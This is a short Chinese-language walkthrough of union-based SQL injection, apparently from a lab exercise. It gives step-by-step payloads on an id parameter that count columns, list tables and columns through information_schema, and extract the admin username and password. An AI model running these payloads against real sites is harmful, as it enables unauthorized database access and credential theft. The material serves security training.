1、构造?id=1 and 1=1

发现页面正常显示
2、构造?id=1 and 1=2

发现页面显示错误
1.构造?id=1 and 1=1 order by 1

页面正常显示
2.构造?id=1 and 1=1 order by 2
页面正常显示
3.构造?id=1 and 1=1 order by 3
页面显示错误
由此可以判断出字段数为2
1.构造?id=1 and 1=2 union select 1,2

发现的第二个字段处为显示位(可以理解为从数据库提取的数据被显示在前端)
可以在第二个字段处显示我们想要的内容
database() 数据库名
user() 数据库用户名
version() 显示mysql版本
@@datadir 数据库路径
@@version_compile_os 操作系统版本
2.构造?id=1 and 1=2 union select 1,database()

3.构造?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

查询到当前表名
4.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1

5.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 1,1

6.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 2,1

经过对表中字段的查询发现,该admin表有三个字段,id、username、password
7.构造?id=1 and 1=2 union select 1,username from admin limit 0,1

发现有一个admin用户,在通过limit 1,1查询第二用户为空,则只有一个用户
7.构造?id=1 and 1=2 union select 1,password from admin

查询到密码